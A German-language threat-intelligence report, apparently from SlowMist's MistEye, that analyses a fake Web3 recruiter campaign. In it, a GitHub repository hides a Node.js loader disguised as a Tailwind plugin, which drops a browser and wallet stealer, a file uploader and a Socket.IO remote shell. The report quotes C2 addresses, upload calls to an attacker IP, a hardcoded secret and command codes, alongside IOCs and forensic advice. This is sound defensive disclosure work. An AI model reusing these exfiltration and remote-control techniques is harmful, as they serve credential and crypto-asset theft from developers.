Hintergrund

In letzter Zeit hat MistEye eine bösartige Code-Übermittlungsaktion beobachtet, die sich mit einer Stellenanzeige als Köder gezielt an Entwickler richtet. Der Angreifer nahm zuerst über LinkedIn Kontakt mit dem Entwickler auf und gab sich als Recruiter eines Web3-Projekts aus. Nach der Abstimmung zur Berufserfahrung und zu den Interview-Modalitäten sandte die andere Seite dem Ziel ein GitHub-Repository mit der Behauptung, darin befinde sich das MVP, das vor dem Vorstellungsgespräch getestet werden müsse.

Die Chatverläufe zeigen, dass der Angreifer zunächst nach der Berufserfahrung und den Produktkenntnissen des Ziels fragt und anschließend den weiteren Ablauf des Vorstellungsgesprächs bespricht. Danach behauptet die andere Seite, dass eine vorherige Produkterfahrung erforderlich sei, um im Vorstellungsgespräch konkrete Fragen diskutieren zu können, und fordert das Ziel damit auf, Projekte aus dem Repository auszuführen, das sich in dessen Repository befindet.

Dieser Ablauf ähnelt stark einem echten technischen Vorstellungsgespräch. Für Entwickler ist das Herunterladen von Code, das Installieren von Abhängigkeiten und das Starten eines Projekts an sich eine normale Tätigkeit – daher ist ein abnormales Verhalten nicht leicht sofort zu erkennen.

Dieses Konto beschreibt sich selbst als Web3-Investment- und Geschäftsexperte, und in den historischen Aktivitäten werden auch ständig Inhalte wie Projektinvestitionen und Produktentwicklung veröffentlicht. Daher ist es, wenn der Gegenüber ein GitHub-Repository sendet, für das Ziel viel wahrscheinlicher, es als normales Projektmaterial zu betrachten – und nicht als einen bösartigen Drop.

Nachdem das Mist-Vor-Ort-Sicherheitsteam das Repository erhalten hatte, wurden Projektcode und Startablauf geprüft.

Bei der Prüfung der Projektkonfiguration haben wir einen verdächtigen JavaScript-Datei-Bestandteil festgestellt, der als Tailwind-Plugin geladen wird:

theme/js/auron-core.min.js

Diese Datei wird in eine Tailwind-Konfigurationsdatei geschrieben. Solange das Ziel die Entwicklungs- oder Build-Befehle entsprechend der Projektanleitung ausführt, lädt Node.js diese Datei über require() und führt sie aus.

theme/js/auron-core.min.js ist kein normaler Frontend-Komponenten- oder Tailwind-Plugin. Der Code ist stark verfremdet; tatsächlich handelt es sich um einen Loader der ersten Phase für bösartige Programme.

Dieser Loader startet mehrere versteckte Node.js-Child-Prozesse und schreibt in jeden davon drei Abschnitte von Skripten der zweiten Phase. Diese Skripte sind jeweils dafür zuständig, Browser- und Wallet-Daten zu stehlen, lokale Dateien zu suchen und hochzuladen sowie einen Remote-Control-Kanal aufzubauen.

Im Unterschied zu einer Fake-Airdrop-Seite, bösartigen Dokumenten oder dem Verleiten zur Ausführung von Terminalbefehlen verbirgt diese Attacke den bösartigen Code direkt in einem scheinbar normalen Entwicklungsprojekt. Das Risiko entsteht wirklich lokal: Erst wenn das Ziel das Repository abruft und das Projekt startet, wird der bösartige Code ausgeführt.

MistEye-Antwort

MistEye ist ein von SlowMist eigenständig entwickeltes Web3-Bedrohungsdaten- und dynamisches Sicherheitsüberwachungssystem. Es integriert Sicherheitsüberwachung und Intelligence-Aggregationsfunktionen und bietet Nutzern Echtzeit-Risikoalarme sowie Schutz für Assets.

MistEye synchronisierte das Risiko so früh wie möglich über Intelligence-Push und den Kundenalarm-Kanal.

Analyse von Trojanern

In diesem Abschnitt geht es um theme/js/auron-core.min.js im Repository. Der Analysefokus umfasst Triggerpfade, die Laufumgebung, das Verhalten des Ladeprogramms der ersten Phase, die Verantwortlichkeiten der Payload der zweiten Phase, die C2-Kommunikation, das Befehlsprotokoll, IOCs sowie Methoden zur forensischen Untersuchung.

1. Basisinformationen des Musters und Trigger-Mechanismus

Das Analyseobjekt ist theme/js/auron-core.min.js.

Diese Datei ist größer als 4 MB, deutlich mehr als gewöhnliche Tailwind-Theme-Plugins. Aber die Tatsache, dass die Dateigröße ungewöhnlich ist, bedeutet nur, dass sie geprüft werden sollte – nicht, dass sie damit als bösartig gilt. Als Nächstes muss bestätigt werden, ob diese Datei zur Laufzeit geladen wird.

In tailwind.config.ts wird es als Plugin geschrieben:

require("./theme/js/auron-core.min.js");

Das bedeutet, dass es sich nicht um statische Ressourcen handelt, die im Browser geladen werden, sondern dass es bei der Tailwind-Build-Phase von Node.js direkt ausgeführt wird. Entwickler müssen nur entsprechend der Projektanleitung das Projekt starten oder CSS bauen – dann wird der darin enthaltene bösartige Code ausgelöst.

2. Tarnung auf der Node.js-Seite als Plugin

Schauen wir weiter auf den Dateianfang:

sed -n '1,6p' theme/js/auron-core.min.js

Die wichtigsten Auszüge sind wie folgt:

Am Anfang der Datei ist zu sehen, dass es sich um Code eines Node.js-Moduls handelt und nicht um ein typisches Browser-Bundle:

In Kombination mit der Code-Struktur kann man bestätigen:

• Das Muster läuft in einer Node.js-Umgebung und wird nicht im Browser ausgeführt.

• Der Code gelangt bei NODE_ENV === "development" in die Verfremdungs-Payload.

• Das Äußere ist als Tailwind/PostCSS-Plugin verpackt, und die bösartige Logik ist in den Plugin-Funktionen versteckt.

Der Code der ersten Phase ist stark obfuskiert, daher ist die statische Lesbarkeit bei der Analyse niedrig. Deshalb wird das Muster während der Analyse in eine kontrollierte Umgebung gegeben und werden hochriskante Schnittstellen wie Netzwerkzugriff, Befehlsausführung und Dateizugriff ersetzt; der Fokus liegt darauf, den zweiten Stufen-Skriptcode abzufangen, den es in Child-Prozesse schreibt. Die nachfolgende Analyse konzentriert sich direkt auf diese decodierten Skripte.

3. Extraktion der Payload der zweiten Phase in einer kontrollierten Umgebung

Um echte Netzwerkzugriffe oder Befehlsausführungen des Musters zu vermeiden, lädt die Analyse das Muster über Node.js vm und fälscht die Netzwerk-, Prozess- und Dateisystem-Schnittstellen, von denen es abhängt.

• child_process: Führt den Befehl nicht wirklich aus, sondern protokolliert nur die execSync- und spawn-Parameter und fängt das von spawn.stdin.end(...) geschriebene Skripttext ein.

• axios、http、https: Führt keine echten Netzwerkzugriffe aus, sondern protokolliert nur URL, Request-Body und Header.

• socket.io-client: Baut keine echten Socket-Verbindungen auf, sondern protokolliert nur die registrierten Ereignisse.

• fs、os、process: Liefert kontrollierte Rückgabewerte, damit das Muster weiterläuft, und verhindert gleichzeitig den Zugriff auf echte Umgebungen.

• setTimeout、setInterval: Protokolliert Timer und löst aktiv eine Runde aus, um nachfolgendes Verhalten offenzulegen.

Das Ausführungsergebnis des kontrollierten Analyse-Skripts tests/malware_sandbox.js ist wie folgt:

node tests/malware_sandbox.js

Die wichtigsten Auszüge sind wie folgt:

Nach dem Abschluss der Ausführung wird eine Event-Log-Datei tests/malware_sandbox_output.json erzeugt und die von den Mustern freigegebenen Skripte der zweiten Phase werden im Verzeichnis tests/malware_payloads gespeichert.

Dabei ist die tatsächliche Ausgabe von ls -l tests/malware_payloads wie folgt:

Die drei extrahierten Dateien sind payload-1.js, payload-2.js und payload-3.js. Damit wurde das erststufig verfremdete Muster bereits in drei direkt lesbare zweitstufige Skripte aufgeteilt, und die nachfolgende Analyse konzentriert sich auf diese drei Dateien.

3.1 Wichtige Designpunkte des kontrollierten Analyse-Skripts

Unten sind einige wichtige Ausschnitte in den kontrollierten Analyse-Skripten aufgeführt, um zu zeigen, wie das Freigabeskript und das Netzwerkverhalten aufgezeichnet werden.

Zunächst liest das Skript das Zielmuster ein und bereitet einen Ereignissammler vor. child_process wird durch einen protokollierenden Stub ersetzt. Der wichtigste Punkt ist spawn.stdin.end(chunk): Der Skripttext, den das Muster in den versteckten untergeordneten Prozess schreibt, wird hier gespeichert.

Der Stub sendet keine echten Netzwerkrequests, sondern protokolliert nur URL, Request-Header und Request-Body und gibt eine simulierte erfolgreiche Antwort zurück, damit das Muster weiterlaufen kann.

Das Muster läuft in einem separat konstruierten vm-Kontext und kann nicht direkt auf die echten process-, Netzwerkmodul- und Dateisystem-Schnittstellen der Analysemaschine zugreifen.

Der Hauptprozess ist verantwortlich für die Ausführung des Musters, das Auslösen von Timern und das Ablegen der Skripte der zweiten Phase sowie der Event-Logs:

Dieses Skript behält den wichtigsten Ausführungsablauf des Musters bei, ersetzt jedoch Schnittstellen wie Netzwerkzugriff und Befehlsausführung durch protokollierende Stubs. So werden echte Schäden verhindert, gleichzeitig können die Skripte der zweiten Phase, Netzwerkziele und wichtige Aufrufparameter gespeichert werden.

4. Verhalten des Ladeprogramms der ersten Phase

tests/malware_sandbox_output.json zeichnet die wichtigsten Aktionen des erststufigen Musters auf:

1. Meldet Start-Logs an http://172.86.126.76:8087/api/log.

2. Erstellt mehrere Node.js-Child-Prozesse und lädt verschiedene Funktionsmodule.

3. Für jeden Child-Prozess wird eine passende Lock-Datei geschrieben, um ein doppeltes Starten zu vermeiden.

Der Befehl zum Extrahieren der wichtigsten Logs lautet:

rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json

Die wichtigsten Auszüge sind wie folgt:

Die Logs zeigen, dass die tatsächliche C2-Adresse 172.86.126.76 ist. auron-core.min.js ist selbst ein Stage-0-Loader; es führt nicht alle bösartigen Aktionen direkt aus, sondern ist dafür verantwortlich, drei Skripte der zweiten Phase zu starten, die jeweils unterschiedliche Funktionen haben.

Wenn sich in dem Host die oben genannten Lock-Dateien befinden, bedeutet das, dass dieser Loader höchstwahrscheinlich bereits ausgeführt wurde.

5. payload-1.js: Diebstahl von Browser- und Wallet-Daten

payload-1.js sammelt hauptsächlich Daten aus der Benutzer-Browserumgebung sowie aus Speicherorten für System-Credentials. Zu den Zielen gehören gespeicherte Login-Informationen im Browser, Daten von Wallet-Extensions sowie macOS-Keychain-Dateien.

Sammlung von Browser- und Wallet-Daten

Bei der weiteren Analyse der Datenerfassungslogik in payload-1.js wurde festgestellt, dass das Muster mehrere Schlüsselwörter enthält, die mit Browserdatenbanken und Credential-Speicher zusammenhängen. Diese Schlüsselwörter legen direkt die Zielobjekte für den Diebstahl offen:

Die Suchergebnisse sind wie folgt:

Zu den relevanten Verhaltensweisen gehören:

• Liest Chromium-bezogene Browserdatendateien aus, darunter Login Data, Login Data For Account sowie Web Data.

• Durchläuft das Verzeichnis Local Extension Settings, sammelt Browsing-Extension-Speicherdaten und verarbeitet Wallet-Extensions (z. B. bravewallet) entsprechend.

• Versucht auf macOS, ~/Library/Keychains/login.keychain-db abzurufen.

• Die gesammelten Dateien werden auf http://172.86.126.76:8085/upload hochgeladen.

Daten-Upload-Mechanismus

Nachdem die Datensammlung abgeschlossen ist, lädt das Muster die aufbereiteten Daten auf einen Remote-Server hoch. Die zugehörige Upload-Logik befindet sich in der Nähe der Zeile 757 in payload-1.js. Der Lokalisierungsbefehl lautet:

nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'

Die wichtigsten Codeausgaben sind wie folgt:

Aus dem Code kann man bestätigen, dass das Muster die gesammelten Daten per HTTP-POST an einen Remote-Server hochlädt. Die zugehörige Upload-Logik enthält einen festen Prüfschlüssel, die Upload-Adresse und Felder im Request-Header:

• validationSecret = "SuperStr0ngSecret@)@^"

• axios.post("http://172.86.126.76:8085/upload", form, ...)

• Die Header-Felder des Requests enthalten userkey: 103, hostname, timestamp, file-metadata, t: 1 und validation.

Bei der weiteren Analyse wurde festgestellt, dass das Muster vor dem Upload ein temporäres Verzeichnis erstellt und die gesammelten Daten aufbereitet:

Aus diesen Codes ist ersichtlich, dass dieses Modul vor allem die Sammelfunktion für Browser-Credentials, Wallet-Extension-Daten sowie System-Keychain-Daten realisiert. Das Muster liest die Login-Datenbank aus Chromium-basierten Browsern, liest die Speicher-Daten von Browser-Extensions und versucht im macOS-Umfeld, Benutzerdaten aus der Keychain zu erhalten. Darin können Informationen wie die Benutzerkontoangaben, in Browsern gespeicherte Passwörter, wallet-extensionbezogene Daten sowie sensible Credentials, die im System gespeichert sind, enthalten sein. Sobald diese Daten gesammelt und nach außen übertragen werden, kann der Angreifer außerdem auf die Online-Dienste des Nutzers, digitale Asset-Wallets oder andere verknüpfte Ressourcen zugreifen.

6. payload-2.js: Sammlung und Upload sensibler Dateien

Im Gegensatz zum vorherigen Modul, das hauptsächlich auf Browserdaten fokussierte, ist payload-2.js hauptsächlich dafür zuständig, das lokale Dateisystem zu scannen und anhand eingebauter Regeln Dateien zu identifizieren, die möglicherweise sensible Informationen enthalten. Anschließend lädt es die passenden Dateien auf einen Remote-Server hoch. Bei der weiteren Analyse der Dateiscann-Logik in payload-2.js wurde festgestellt, dass das Muster Regeln wie SENSITIVE_FILE_PATTERNS definiert, um sensible Dateipfade und Dateinamen abzugleichen.

Der Suchbefehl lautet wie folgt:

Zu den sichtbaren Ziel-Schlüsselwörtern im Code gehören:

Besonders zu beachten ist, dass die Regeln für sensible Schlüsselwörter nicht auf alle Scan-Pfade anwendbar sind. Der Code zeigt, dass in der Scan-Phase prioritärer Verzeichnisse wie Desktop, Documents und Downloads das Muster nicht zwingend erfordert, dass Dateipfade SENSITIVE_FILE_PATTERNS treffen; erst bei nachfolgenden Scans anderer Verzeichnisse wird isSensitiveFile(fullPath) zur Schlüsselwortfilterung verwendet. Daher können in diesen priorisierten Verzeichnissen Dateien, die keine Ausschlussregeln für Erweiterungen treffen, lesbar sind und nicht größer als 5 MB sind, hochgeladen werden – ohne dass der Dateiname sensible Schlüsselwörter wie .env, seed, wallet oder password enthalten muss.

Sensible Dateiupload-Mechanik

Nachdem die Ziel-Dateien gefiltert wurden, führt das Muster als Nächstes den Dateiupload aus. Die relevante Logik befindet sich in payload-2.js in der Nähe von Zeile 131.

Der Lokalisierungsbefehl lautet:

nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'

Der entscheidende Code gibt tatsächlich Folgendes aus:

Aus dem Code kann man bestätigen:

• Die Upload-Adresse lautet http[://]172[.]86[.]126[.]76[:]8086/upload.

• Der HMAC-Schlüssel ist weiterhin SuperStr0ngSecret@)@^.

• Die Berechnung von validation erfolgt nach filePath + "|" + timestamp.

Daraus lässt sich erkennen, dass sich das Sammelziel dieses Moduls nicht nur auf Browserdaten beschränkt, sondern es erweitert sich zu wertvollen Dateien in der lokalen Entwicklungsumgebung des Entwicklers. In der Entwicklungsumgebung werden typischerweise zahlreiche sensible Konfigurationen und Zugriffs-Credentials gespeichert, z. B. `.env`-Dateien, SSH-Private-Keys, Zugriffskeys für Cloud-Plattformen, CI/CD-Token, Projektkonfigurationsdateien und Geschäftsdokumente. Sobald diese Daten gesammelt und extern übertragen werden, kann dies zu einem weiteren Leak von Code-Repositories, Cloud-Ressourcen oder Credentials von Drittanbietern führen.

7. payload-3.js: Remote Control, Dateiverwaltung und interaktive Shell

payload-3.js ist hauptsächlich für die Kommunikation mit dem C2-Dienst zuständig und bietet Remote-Host-Management. Das Modul baut über Socket.IO eine Verbindung mit dem Remote-Server auf und unterstützt Host-Registrierung, Log-Reporting, Remote-Befehlsausführung, Verzeichnis-Browsing, Dateilesen, Dateiupload sowie eine interaktive Shell-Sitzung.

Zunächst werden die C2-Konfiguration und die Kommunikations-Einstiegspunkte im Muster analysiert:
nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'

Die wichtigsten Auszüge sind wie folgt:

Aus diesem Abschnitt ist klar erkennbar, welche Netzwerkziele angesprochen werden:

• http[://]172[.]86[.]126[.]76[:]8087/api/notify

• http[://]172[.]86[.]126[.]76[:]8087/api/log

• ws[://]172[.]86[.]126[.]76[:]8087

In Kombination mit der vorherigen Analyse von payload-1.js und payload-2.js erkennt man, dass dieses Muster mehrere Kommunikationsschnittstellen je nach Funktion aufteilt:

7.1 Host-Registrierung und Log-Reporting

In payload-3.js gibt es zwei grundlegende Funktionen: sendHostInfo() und f_s_l(message, level, data). Erstere ist dafür zuständig, Hostinformationen an /api/notify zu melden; letztere meldet Logs oder Inhalte an /api/log.

rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js

7.2 Socket Remote Control-Befehle

Nach dem Verbinden eines Musters mit ws://172.86.126.76:8087 registriert es Befehlsbehandler, um Ereignisse zu verarbeiten. Die Befehlsstruktur ist wie folgt:

nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'

Die wichtigsten Auszüge sind wie folgt:

Aus den codebasierten code-Bereichen ist ersichtlich, dass es diese Remote-Anweisungen unterstützt:

• code === "102": Verzeichnis auflisten und den Inhalt des Verzeichnisses als JSON zurückgeben.

• code === "108": Dateien in der nächsten Ebene eines angegebenen Verzeichnisses hochladen.

• code === "107": Eine angegebene Datei lesen; falls nötig, hochladen und die Datei-URL zurückgeben.

• Andere Fälle: Direkt systembefehle über exec(command) ausführen.

Die folgenden Befehle werden verwendet, um Ereignisse und Protokollfelder schnell zu extrahieren:

7.3 Interaktive Shell

Neben der Ausführung einzelner Befehle implementiert payload-3.js auch eine fortlaufende interaktive Shell-Funktion.

Der Befehl zum Lokalisieren lautet:
nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'

Die wichtigsten Auszüge sind wie folgt:

Dieses Modul verwaltet die Remote-Shell-Sitzung über Socket.IO-Ereignisse. Die vom Modul verarbeiteten Ereignisse umfassen:

Diese Ereignisse decken das Erstellen von Shells, Eingaben, Fensteranpassungen, die Rückübertragung von Ausgaben und das Schließen der Sitzung ab – das reicht aus, um eine vollständige Remote-Terminal-Interaktion zu unterstützen. Nachdem der Angreifer die Verbindung aufgebaut hat, kann er direkt Verzeichnisse durchsuchen, Befehle ausführen und Dateien lesen. Wenn auf dem Host andere System-Credentials gespeichert sind, können diese Informationen auch für nachgelagerte Eindringversuche genutzt werden.

7.4 Clipboard-Überwachung

payload-3.js implementiert außerdem plattformübergreifende Clipboard-Überwachungsfunktionen, um kontinuierlich die Zwischenablageinhalte des Nutzers abzurufen.

Der Lokalisierungsbefehl lautet:

Aus dem Code lässt sich bestätigen, dass dieses Modul die Fähigkeit hat, fortlaufend Inhalte aus der Zwischenablage (Clipboard) des Nutzers zu lesen und zu melden. Da Entwickler im Alltag möglicherweise temporär Passwörter kopieren, auf Token, Private Keys, Serverbefehle oder andere sensible Informationen zugreifen, kann diese Funktion dazu führen, dass die in kurzer Zeit kopierten Daten gesammelt und offengelegt werden.

8. Rekonstruktion der Angriffskette

9. IOC

Abwurf des Repositories

hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build

Bösartige Datei

theme/js/auron-core.min.js

SHA-256

78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f

URL

hxxp://172[.]86[.]126[.]76:8087/api/notify

hxxp://172[.]86[.]126[.]76:8087/api/log

ws://172[.]86[.]126[.]76:8087

hxxp://172[.]86[.]126[.]76:8085/upload

hxxp://172[.]86[.]126[.]76:8086/upload

hxxp://172[.]86[.]126[.]76:8085/api/upload-file

IP

172[.]86[.]126[.]76

10. Empfehlungen zur forensischen Untersuchung

Wenn bestätigt ist, dass dieses Projekt ausgeführt wurde, sollte man nicht sofort Dateien löschen oder Prozesse beenden. Es wird empfohlen, zunächst Prozesse, Netzwerkverbindungen, Dateizeitstempel und abgelegte Dateien zu dokumentieren, bevor man bereinigt und Credentials rotiert. Da die Entwicklungsmaschine typischerweise SSH-Private-Keys, Cloud-Credentials, Browser-Login-Sitzungen und Wallet-Daten speichert, sollte man bei der Maßnahme standardmäßig davon ausgehen, dass diese Credentials bereits einem Leckrisiko ausgesetzt sind, und die Rotation sowie das Ungültigmachen von Sitzungen so schnell wie möglich durchführen.

10.1 Netzwerk- und Prozessanalyse

macOS / Linux:

Windows PowerShell:

10.2 Untersuchung der abgelegten Dateien

macOS / Linux:

10.3 Untersuchung des Bereichs mit Hochrisiko-Daten

Bei der Untersuchung sollte bestätigt werden, ob die folgenden Dateien und Daten gelesen oder hochgeladen wurden:

• .env und .env.*

• SSH-Private-Key, Cloud-Credentials, CI-Token

• Passwörter und Cookies, die im Browser gespeichert sind

• Wallet-Extension und Seed-Backup

• Sensible Informationen, die früher in der Zwischenablage kopiert wurden

Zusammenfassung

Dieser Angriff ist kein Einzelfall. In letzter Zeit zeigen mehrere Vorfälle, dass Angreifer häufig in Szenarien wie Bewerbungen, Code-Reviews und Projektkooperationen verwenden, um Entwickler dazu zu verleiten, aktiv bösartige Repositories auszuführen.

theme/js/auron-core.min.js wird als Tailwind/PostCSS-Plugin getarnt und über den Projekt-Build-Prozess in Node.js ausgeführt. Anschließend startet der Loader drei Skripte und führt damit Credential-Diebstahl, Dateiupload und Remote Control durch.

Das Muster kann Systembefehle unter den Berechtigungen des aktuellen Benutzers ausführen und unterstützt Verzeichnis-Übersicht, Lesen/Schreiben von Dateien, Clipboard-Diebstahl sowie die Steuerung eines interaktiven Terminals.

Es ist keine gewöhnliche Informations-Sammel-Shell mehr, sondern ein vollständiges Remote-Control-Trojaner-Programm. Wenn das infizierte Gerät zum Entwickeln oder Verwalten von Web3-Assets verwendet wird, könnte der Angreifer Projekt-Schlüssel, Cloud-Credentials, CI/CD-Token, Browser-Sitzungen und Wallet-Extension-Daten stehlen. Ob ein Repository sicher ist, kann man nicht nur anhand der Website, Commit-Verläufe und Projektoberfläche beurteilen. Noch wichtiger ist es zu prüfen, welche Skripte und Konfigurationsdateien beim Installieren von Abhängigkeiten und beim Starten des Projekts tatsächlich ausgeführt werden. Installieren Sie für unbekannte Repositories, die durch Vorstellungsgespräche, Nebenjobs, Outsourcing, Airdrops oder Investment-Kommunikation erhalten wurden, keine Abhängigkeiten und führen Sie keine Build-Befehle direkt auf Office-Rechnern oder in alltäglichen Entwicklungsumgebungen aus. Überprüfen Sie zuerst in einer virtuellen Maschine oder in Containern package scripts, Build-Konfigurationen, verschiedene Plugins sowie preinstall-/postinstall-Skripte – und ebenfalls JavaScript-Dateien mit ungewöhnlicher Dateigröße.

Falls das Projekt bereits ausgeführt wurde, sollte der Host sofort isoliert werden und Beweise wie Prozessinformationen, Netzwerkverbindungen und /tmp-Ablage-Dateien aufbewahrt werden. Anschließend müssen SSH-Schlüssel, Cloud-Credentials und CI/CD-Token rotiert werden; die Browser- und Handelsplattform-Sitzungen sollten beendet werden. Wenn der Wallet-Private-Key oder Seed möglicherweise offengelegt wurde, sollten die Assets so schnell wie möglich auf einen neuen, sicheren Wallet übertragen und die relevanten Berechtigungen der alten Adresse widerrufen werden.

Über MistEye

MistEye ist eine von SlowMist eigenständig entwickelte Web3-Bedrohungsintelligence- und dynamische Sicherheitsplattform. Sie stellt über APIs ein Open-Source-Paket-Ökosystem für die Erkennung bösartiger Aktivitäten sowie Warnungen für Lieferkettenrisiken bereit.

Alle bösartigen Pakete und IOCs, die in dieser Aktion beteiligt sind, sind in die MistEye-Bedrohungserkennung-Engine integriert. Entwickler können über die API Abhängigkeiten in Projekten automatisiert prüfen, schnell feststellen, ob bekannte bösartige Pakete betroffen sind, und Empfehlungen für die Bereinigung erhalten.

📖 API-Dokumentation: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan – leichtgewichtiges CLI-Tool; mit einem einzigen Befehl scannt es die bekannten bösartigen Pakete in Projektabhängigkeiten und global installierten Paketen. Unterstützt npm / PyPI / Cargo / Go / RubyGems-Ökosystem.

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills – AI-Coding-Assistent-Sicherheitsfähigkeits-Toolkit; löst MistEye-Sicherheitsprüfungen automatisch aus, bevor Abhängigkeiten installiert und URLs aufgerufen werden